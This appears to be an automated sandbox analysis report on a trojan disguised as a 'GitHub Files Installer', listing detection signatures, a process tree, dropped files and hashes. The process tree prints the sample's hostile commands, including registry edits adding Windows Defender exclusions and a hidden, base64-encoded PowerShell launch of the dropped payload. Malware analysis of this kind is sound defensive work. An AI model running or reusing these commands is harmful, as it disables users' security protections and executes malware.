Overview

overview

9

Static

static

3

ProjectLoad.exe

windows10-2004-x64

9

ProjectLoad.exe

windows10-ltsc_2021-x64

9

ProjectLoad.exe

windows11-21h2-x64

9

Resubmissions

29/04/2026, 16:48

260429-vbcf9ahw4p9

29/04/2026, 16:22

260429-tvqmjshv4m7

Analysis

  • user interaction
    yes
  • max time kernel
    299s
  • max time network
    304s
  • platform
    windows10-ltsc_2021_x64
  • resource
    win10ltsc2021-20260130-en
  • resource tags

    arch:x64arch:x86image:win10ltsc2021-20260130-enlocale:en-usos:windows10-ltsc_2021-x64systemwindows
  • submitted
    29/04/2026, 16:48

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    ProjectLoad.exe
  • Size 64.5MB
  • Sample260429-vbcf9ahw4p
  • SHA256 f86352ecaf34773e85d979220b9825f6c1ec45b5c93d5ecca9998dc2b49cf3a8
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
9/10
defense_evasiondiscoveryexecutionthemidatrojan

Malware Config

Signatures

  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 5 IoCs
    defense_evasion
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

    execution
  • Checks BIOS information in registry 2 TTPs 10 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 4 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 9 IoCs
  • Loads dropped DLL 9 IoCs
  • Themida packer 18 IoCs

    Detects Themida, an advanced Windows software protection system.

    themida
  • Checks whether UAC is enabled 1 TTPs 5 IoCs
    defense_evasiontrojan
  • Looks up external IP address via web service 5 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Enumerates processes with tasklist 1 TTPs 1 IoCs
    discovery
  • Suspicious use of NtSetInformationThreadHideFromDebugger 5 IoCs
  • Drops file in Windows directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 32 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\ProjectLoad.exe
    "C:\Users\Admin\AppData\Local\Temp\ProjectLoad.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:3512
    • C:\Users\Admin\AppData\Local\Temp\7z86FE5DB8\GitHub Files Installer.exe
      "C:\Users\Admin\AppData\Local\Temp\7z86FE5DB8\GitHub Files Installer.exe"
      2⤵
      • Checks computer location settings
      • Executes dropped EXE
      • Loads dropped DLL
      • Drops file in Windows directory
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4828
      • C:\Users\Admin\AppData\Local\Temp\7z86FE5DB8\GitHub Files Installer.exe
        "C:\Users\Admin\AppData\Local\Temp\7z86FE5DB8\GitHub Files Installer.exe" --type=gpu-process --user-data-dir="C:\Users\Admin\AppData\Roaming\gh-installer-2c3c4ed119ec" --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAAAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --mojo-platform-channel-handle=1700 --field-trial-handle=1704,i,14681551634861210347,5061754584589361786,262144 --enable-features=kWebSQLAccess --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version /prefetch:2
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        PID:5096
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "tasklist /FO CSV /NH"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3824
        • C:\Windows\system32\tasklist.exe
          tasklist /FO CSV /NH
          4⤵
          • Enumerates processes with tasklist
          • Suspicious use of AdjustPrivilegeToken
          PID:3240
      • C:\Users\Admin\AppData\Local\Temp\7z86FE5DB8\GitHub Files Installer.exe
        "C:\Users\Admin\AppData\Local\Temp\7z86FE5DB8\GitHub Files Installer.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\Admin\AppData\Roaming\gh-installer-2c3c4ed119ec" --mojo-platform-channel-handle=2024 --field-trial-handle=1704,i,14681551634861210347,5061754584589361786,262144 --enable-features=kWebSQLAccess --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version /prefetch:3
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        PID:2520
      • C:\Users\Admin\AppData\Local\Temp\7z86FE5DB8\GitHub Files Installer.exe
        "C:\Users\Admin\AppData\Local\Temp\7z86FE5DB8\GitHub Files Installer.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Roaming\gh-installer-2c3c4ed119ec" --app-path="C:\Users\Admin\AppData\Local\Temp\7z86FE5DB8\resources\app.asar" --enable-sandbox --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=4 --mojo-platform-channel-handle=2880 --field-trial-handle=1704,i,14681551634861210347,5061754584589361786,262144 --enable-features=kWebSQLAccess --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version /prefetch:1
        3⤵
        • Checks computer location settings
        • Executes dropped EXE
        • Loads dropped DLL
        PID:5164
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "wscript.exe //B //Nologo "C:\Users\Admin\AppData\Local\Temp\43ac9202.vbs""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3540
        • C:\Windows\system32\wscript.exe
          wscript.exe //B //Nologo "C:\Users\Admin\AppData\Local\Temp\43ac9202.vbs"
          4⤵
            PID:1000
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\7z86FE5DB8\GitHub Files Installer.exe" /t REG_DWORD /d 0 /f"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:2676
          • C:\Windows\system32\reg.exe
            reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\7z86FE5DB8\GitHub Files Installer.exe" /t REG_DWORD /d 0 /f
            4⤵
              PID:2384
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\GitHub\cache\1777481337966" /t REG_DWORD /d 0 /f"
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:5888
            • C:\Windows\system32\reg.exe
              reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\GitHub\cache\1777481337966" /t REG_DWORD /d 0 /f
              4⤵
                PID:1876
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\GitHub\cache\1777481337966\GitHubDesktopHelper.exe" /t REG_DWORD /d 0 /f"
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:5128
              • C:\Windows\system32\reg.exe
                reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\GitHub\cache\1777481337966\GitHubDesktopHelper.exe" /t REG_DWORD /d 0 /f
                4⤵
                  PID:5084
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /d /s /c "mshta.exe "C:\Users\Admin\AppData\Local\Temp\eb3863.hta""
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:5628
                • C:\Windows\system32\mshta.exe
                  mshta.exe "C:\Users\Admin\AppData\Local\Temp\eb3863.hta"
                  4⤵
                  • Checks computer location settings
                  • Suspicious use of WriteProcessMemory
                  PID:1776
                  • C:\Users\Admin\AppData\Local\Temp\GitHub\cache\1777481337966\GitHubDesktopHelper.exe
                    "C:\Users\Admin\AppData\Local\Temp\GitHub\cache\1777481337966\GitHubDesktopHelper.exe"
                    5⤵
                    • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                    • Checks BIOS information in registry
                    • Executes dropped EXE
                    • Checks whether UAC is enabled
                    • Suspicious use of NtSetInformationThreadHideFromDebugger
                    PID:2688
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /d /s /c "wscript.exe //B //Nologo "C:\Users\Admin\AppData\Local\Temp\3c8ca8.vbs""
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:1184
                • C:\Windows\system32\wscript.exe
                  wscript.exe //B //Nologo "C:\Users\Admin\AppData\Local\Temp\3c8ca8.vbs"
                  4⤵
                  • Checks computer location settings
                  • Suspicious use of WriteProcessMemory
                  PID:4556
                  • C:\Users\Admin\AppData\Local\Temp\GitHub\cache\1777481337966\GitHubDesktopHelper.exe
                    "C:\Users\Admin\AppData\Local\Temp\GitHub\cache\1777481337966\GitHubDesktopHelper.exe"
                    5⤵
                    • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                    • Checks BIOS information in registry
                    • Executes dropped EXE
                    • Checks whether UAC is enabled
                    • Suspicious use of NtSetInformationThreadHideFromDebugger
                    PID:4152
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoP -NonI -W Hidden -E UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAEcAaQB0AEgAdQBiAFwAYwBhAGMAaABlAFwAMQA3ADcANwA0ADgAMQAzADMANwA5ADYANgBcAEcAaQB0AEgAdQBiAEQAZQBzAGsAdABvAHAASABlAGwAcABlAHIALgBlAHgAZQAnACAALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgA="
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:4888
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  powershell.exe -NoP -NonI -W Hidden -E UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAEcAaQB0AEgAdQBiAFwAYwBhAGMAaABlAFwAMQA3ADcANwA0ADgAMQAzADMANwA5ADYANgBcAEcAaQB0AEgAdQBiAEQAZQBzAGsAdABvAHAASABlAGwAcABlAHIALgBlAHgAZQAnACAALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgA=
                  4⤵
                  • Command and Scripting Interpreter: PowerShell
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of WriteProcessMemory
                  PID:4872
                  • C:\Users\Admin\AppData\Local\Temp\GitHub\cache\1777481337966\GitHubDesktopHelper.exe
                    "C:\Users\Admin\AppData\Local\Temp\GitHub\cache\1777481337966\GitHubDesktopHelper.exe"
                    5⤵
                    • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                    • Checks BIOS information in registry
                    • Executes dropped EXE
                    • Checks whether UAC is enabled
                    • Suspicious use of NtSetInformationThreadHideFromDebugger
                    PID:3704
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /d /s /c "cmd.exe /c start "" "C:\Users\Admin\AppData\Local\Temp\GitHub\cache\1777481337966\GitHubDesktopHelper.exe""
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:3532
                • C:\Windows\system32\cmd.exe
                  cmd.exe /c start "" "C:\Users\Admin\AppData\Local\Temp\GitHub\cache\1777481337966\GitHubDesktopHelper.exe"
                  4⤵
                  • Suspicious use of WriteProcessMemory
                  PID:5904
                  • C:\Users\Admin\AppData\Local\Temp\GitHub\cache\1777481337966\GitHubDesktopHelper.exe
                    "C:\Users\Admin\AppData\Local\Temp\GitHub\cache\1777481337966\GitHubDesktopHelper.exe"
                    5⤵
                    • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                    • Checks BIOS information in registry
                    • Executes dropped EXE
                    • Checks whether UAC is enabled
                    • Suspicious use of NtSetInformationThreadHideFromDebugger
                    PID:4988
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /d /s /c "explorer.exe "C:\Users\Admin\AppData\Local\Temp\GitHub\cache\1777481337966\GitHubDesktopHelper.exe""
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:3976
                • C:\Windows\explorer.exe
                  explorer.exe "C:\Users\Admin\AppData\Local\Temp\GitHub\cache\1777481337966\GitHubDesktopHelper.exe"
                  4⤵
                    PID:2468
            • C:\Windows\explorer.exe
              C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
              1⤵
              • Suspicious use of WriteProcessMemory
              PID:1744
              • C:\Users\Admin\AppData\Local\Temp\GitHub\cache\1777481337966\GitHubDesktopHelper.exe
                "C:\Users\Admin\AppData\Local\Temp\GitHub\cache\1777481337966\GitHubDesktopHelper.exe"
                2⤵
                • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                • Checks BIOS information in registry
                • Executes dropped EXE
                • Checks whether UAC is enabled
                • Suspicious use of NtSetInformationThreadHideFromDebugger
                PID:4364

            Network

                  MITRE ATT&CK Enterprise v16

                  Replay Monitor

                  Loading Replay Monitor...

                  Downloads

                  3c8ca8.vbs
                  • Path C:\Users\Admin\AppData\Local\Temp\3c8ca8.vbs
                  • Size 140B
                  • SHA256 e3fa7c73a0202536b9d29584e6d95273193c5e312d54edf812c78bec5caa68fe
                  • MD5 SHA1 SHA512 TLSH
                  Submit Download

                  43ac9202.vbs
                  • Path C:\Users\Admin\AppData\Local\Temp\43ac9202.vbs
                  • Size 533B
                  • SHA256 bab1bddf3453e55769f0233d2c67dfc5adce737dc6a8571ee3d4c2798c94ec6f
                  • MD5 SHA1 SHA512 TLSH
                  Submit Download

                  chrome_100_percent.pak
                  • Path C:\Users\Admin\AppData\Local\Temp\7z86FE5DB8\chrome_100_percent.pak
                  • Size 150KB
                  • SHA256 49aff5690cb9b0f54f831351aa0f64416ba180a0c4891a859fa7294e81e9c8e3
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  chrome_200_percent.pak
                  • Path C:\Users\Admin\AppData\Local\Temp\7z86FE5DB8\chrome_200_percent.pak
                  • Size 229KB
                  • SHA256 4d5b51f720f7d3146e131c54a6f75e4e826c61b2ff15c8955f6d6dd15bedf106
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  d3dcompiler_47.dll
                  • Path C:\Users\Admin\AppData\Local\Temp\7z86FE5DB8\d3dcompiler_47.dll
                  • Size 4.7MB
                  • SHA256 7353f25dc5cf84d09894e3e0461cef0e56799adbc617fce37620ca67240b547d
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  ffmpeg.dll
                  • Path C:\Users\Admin\AppData\Local\Temp\7z86FE5DB8\ffmpeg.dll
                  • Size 2.7MB
                  • SHA256 11daf2bf89a3ac660533b3e487e0624668b35f45d2bd94e9b0324bce8758de60
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  icudtl.dat
                  • Path C:\Users\Admin\AppData\Local\Temp\7z86FE5DB8\icudtl.dat
                  • Size 10.2MB
                  • SHA256 7bf96c193befbf23514401f8f6568076450ade52dd1595b85e4dfcf3de5f6fb9
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  libEGL.dll
                  • Path C:\Users\Admin\AppData\Local\Temp\7z86FE5DB8\libEGL.dll
                  • Size 468KB
                  • SHA256 a4336a318e8d92a47843d5fe429dc6d1ff7271d8bac189d719bc8074a128fd6e
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  libGLESv2.dll
                  • Path C:\Users\Admin\AppData\Local\Temp\7z86FE5DB8\libGLESv2.dll
                  • Size 7.3MB
                  • SHA256 7b0baa9e2e731716efe3e0bebf6a0bcd2d64f35d9f62b20d23acb4e098c9be36
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  en-US.pak
                  • Path C:\Users\Admin\AppData\Local\Temp\7z86FE5DB8\locales\en-US.pak
                  • Size 440KB
                  • SHA256 20be1732675fedf380010b09936ed65c71bb761d0a05732215ef0795b5aba606
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  resources.pak
                  • Path C:\Users\Admin\AppData\Local\Temp\7z86FE5DB8\resources.pak
                  • Size 5.0MB
                  • SHA256 1efdd507bb6f4fb07329ec7ec29ee00c952d6390bd5cfe3b41fb307c5caeab6c
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  app.asar
                  • Path C:\Users\Admin\AppData\Local\Temp\7z86FE5DB8\resources\app.asar
                  • Size 72KB
                  • SHA256 afb5a6ac8c5a0996c277827c67e2be455221e0266ad75113303db2380ea3c801
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  v8_context_snapshot.bin
                  • Path C:\Users\Admin\AppData\Local\Temp\7z86FE5DB8\v8_context_snapshot.bin
                  • Size 663KB
                  • SHA256 83a8345ea197020e07fe2cf53e74f31d0cc632ca1537f5c9c1db2fb2665ab04f
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  vk_swiftshader.dll
                  • Path C:\Users\Admin\AppData\Local\Temp\7z86FE5DB8\vk_swiftshader.dll
                  • Size 5.1MB
                  • SHA256 46afb1ed7ab1b1a679e00784b2e78cc2358cec615553699624ff77882f55787b
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  vk_swiftshader_icd.json
                  • Path C:\Users\Admin\AppData\Local\Temp\7z86FE5DB8\vk_swiftshader_icd.json
                  • Size 106B
                  • SHA256 32d83ff113fef532a9f97e0d2831f8656628ab1c99e9060f0332b1532839afd9
                  • MD5 SHA1 SHA512 TLSH
                  Submit Download

                  vulkan-1.dll
                  • Path C:\Users\Admin\AppData\Local\Temp\7z86FE5DB8\vulkan-1.dll
                  • Size 932KB
                  • SHA256 fa6b4e20eb448746e2eff9a7fde7a62585e371f3497a6a928eade0a8ce8c1a9f
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  GitHubDesktopHelper.exe
                  • Path C:\Users\Admin\AppData\Local\Temp\GitHub\cache\1777481337966\GitHubDesktopHelper.exe
                  • Size 3.5MB
                  • SHA256 a7949ce82225d83acf961ec8d4bc085758660600e4c4f965d265cc32cc6b31b4
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  __PSScriptPolicyTest_ayixcunb.xxr.ps1
                  • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ayixcunb.xxr.ps1
                  • Size 60B
                  • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                  • MD5 SHA1 SHA512 TLSH
                  Submit Download

                  eb3863.hta
                  • Path C:\Users\Admin\AppData\Local\Temp\eb3863.hta
                  • Size 163B
                  • SHA256 3b780f084b9c9b3dfa002345bb93a0579ebac956926cebfcada1e9413337ec82
                  • MD5 SHA1 SHA512 TLSH
                  Submit Download

                  default.dic
                  • Path C:\Users\Admin\AppData\Roaming\Microsoft\Spelling\en-US\default.dic
                  • Size 2B
                  • SHA256 b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209
                  • MD5 SHA1 SHA512
                  Submit Download

                  data_0
                  • Path C:\Users\Admin\AppData\Roaming\gh-installer-2c3c4ed119ec\GPUCache\data_0
                  • Size 8KB
                  • SHA256 d6a5fe39cd672781b256e0e3102f7022635f1d4bb7cfcc90a80fffe4d0f3877e
                  • MD5 SHA1 SHA512 SSDEEP
                  Submit Download

                  data_1
                  • Path C:\Users\Admin\AppData\Roaming\gh-installer-2c3c4ed119ec\GPUCache\data_1
                  • Size 264KB
                  • SHA256 81eb89feede2e8fb6b4677f073f6e5d4a02e536014f783270650a4fcea4210d2
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  data_2
                  • Path C:\Users\Admin\AppData\Roaming\gh-installer-2c3c4ed119ec\GPUCache\data_2
                  • Size 8KB
                  • SHA256 ec1702806f4cc7c42a82fc2b38e89835fde7c64bb32060e0823c9077ca92efb7
                  • MD5 SHA1 SHA512 SSDEEP
                  Submit Download

                  data_3
                  • Path C:\Users\Admin\AppData\Roaming\gh-installer-2c3c4ed119ec\GPUCache\data_3
                  • Size 8KB
                  • SHA256 e09f42c398d688dce168570291f1f92d079987deda3099a34adb9e8c0522b30c
                  • MD5 SHA1 SHA512 SSDEEP
                  Submit Download

                  MANIFEST-000001
                  • Path C:\Users\Admin\AppData\Roaming\gh-installer-2c3c4ed119ec\Local Storage\leveldb\MANIFEST-000001
                  • Size 41B
                  • SHA256 f9d31b278e215eb0d0e9cd709edfa037e828f36214ab7906f612160fead4b2b4
                  • MD5 SHA1 SHA512
                  Submit Download

                  Network Persistent State
                  • Path C:\Users\Admin\AppData\Roaming\gh-installer-2c3c4ed119ec\Network\Network Persistent State
                  • Size 496B
                  • SHA256 147ddc2244ed7d0fa27fe4c1ea45d70458ccf45aa2559ceec87748f8c2bd5417
                  • MD5 SHA1 SHA512 TLSH
                  Submit Download

                  Network Persistent State~RFe58f306.TMP
                  • Path C:\Users\Admin\AppData\Roaming\gh-installer-2c3c4ed119ec\Network\Network Persistent State~RFe58f306.TMP
                  • Size 59B
                  • SHA256 226eec4486509917aa336afebd6ff65777b75b65f1fb06891d2a857a9421a974
                  • MD5 SHA1 SHA512 TLSH
                  Submit Download

                  CURRENT
                  • Path C:\Users\Admin\AppData\Roaming\gh-installer-2c3c4ed119ec\Session Storage\CURRENT
                  • Size 16B
                  • SHA256 0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443
                  • MD5 SHA1 SHA512
                  Submit Download

                  memory/1000-256-0x0000021A355D0000-0x0000021A35625000-memory.dmp
                  Download

                  memory/1000-255-0x0000021A355B0000-0x0000021A355BC000-memory.dmp
                  Download

                  memory/1744-420-0x0000000000F20000-0x0000000000F8B000-memory.dmp
                  Download

                  memory/1744-475-0x0000000000F20000-0x0000000000F8B000-memory.dmp
                  Download

                  memory/1776-267-0x00000255EF2E0000-0x00000255EF335000-memory.dmp
                  Download

                  memory/2468-296-0x0000000001030000-0x000000000109B000-memory.dmp
                  Download

                  memory/2688-298-0x0000000140000000-0x000000014097B000-memory.dmp
                  Download

                  memory/2688-638-0x0000000140000000-0x000000014097B000-memory.dmp
                  Download

                  memory/2688-299-0x0000000002030000-0x0000000002085000-memory.dmp
                  Download

                  memory/2688-266-0x0000000140000000-0x000000014097B000-memory.dmp
                  Download

                  memory/2688-265-0x0000000140000000-0x000000014097B000-memory.dmp
                  Download

                  memory/2688-628-0x0000000140000000-0x000000014097B000-memory.dmp
                  Download

                  memory/3240-176-0x0000021049580000-0x00000210495D5000-memory.dmp
                  Download

                  memory/3704-419-0x0000000002000000-0x0000000002055000-memory.dmp
                  Download

                  memory/3704-293-0x0000000140000000-0x000000014097B000-memory.dmp
                  Download

                  memory/3704-292-0x0000000140000000-0x000000014097B000-memory.dmp
                  Download

                  memory/3704-418-0x0000000140000000-0x000000014097B000-memory.dmp
                  Download

                  memory/4152-274-0x0000000140000000-0x000000014097B000-memory.dmp
                  Download

                  memory/4152-301-0x0000000001FD0000-0x0000000002025000-memory.dmp
                  Download

                  memory/4152-300-0x0000000140000000-0x000000014097B000-memory.dmp
                  Download

                  memory/4152-273-0x0000000140000000-0x000000014097B000-memory.dmp
                  Download

                  memory/4364-297-0x0000000140000000-0x000000014097B000-memory.dmp
                  Download

                  memory/4364-295-0x0000000140000000-0x000000014097B000-memory.dmp
                  Download

                  memory/4364-421-0x0000000140000000-0x000000014097B000-memory.dmp
                  Download

                  memory/4364-422-0x0000000002020000-0x0000000002075000-memory.dmp
                  Download

                  memory/4556-271-0x0000020057170000-0x000002005717C000-memory.dmp
                  Download

                  memory/4556-272-0x0000020057F30000-0x0000020057F85000-memory.dmp
                  Download

                  memory/4828-243-0x000002F40B040000-0x000002F40B095000-memory.dmp
                  Download

                  memory/4828-356-0x000002F40B040000-0x000002F40B095000-memory.dmp
                  Download

                  memory/4872-291-0x00000249EEED0000-0x00000249EEEDC000-memory.dmp
                  Download

                  memory/4872-281-0x00000249EF5D0000-0x00000249EF5F2000-memory.dmp
                  Download

                  memory/4872-290-0x00000249EEDB0000-0x00000249EEE05000-memory.dmp
                  Download

                  memory/4988-417-0x0000000140000000-0x000000014097B000-memory.dmp
                  Download

                  memory/4988-416-0x0000000001EE0000-0x0000000001F35000-memory.dmp
                  Download

                  memory/4988-285-0x0000000140000000-0x000000014097B000-memory.dmp
                  Download

                  memory/4988-286-0x0000000140000000-0x000000014097B000-memory.dmp
                  Download

                  memory/5164-208-0x00007FF97B240000-0x00007FF97B241000-memory.dmp
                  Download

                  memory/5164-209-0x00007FF97BE80000-0x00007FF97BE81000-memory.dmp
                  Download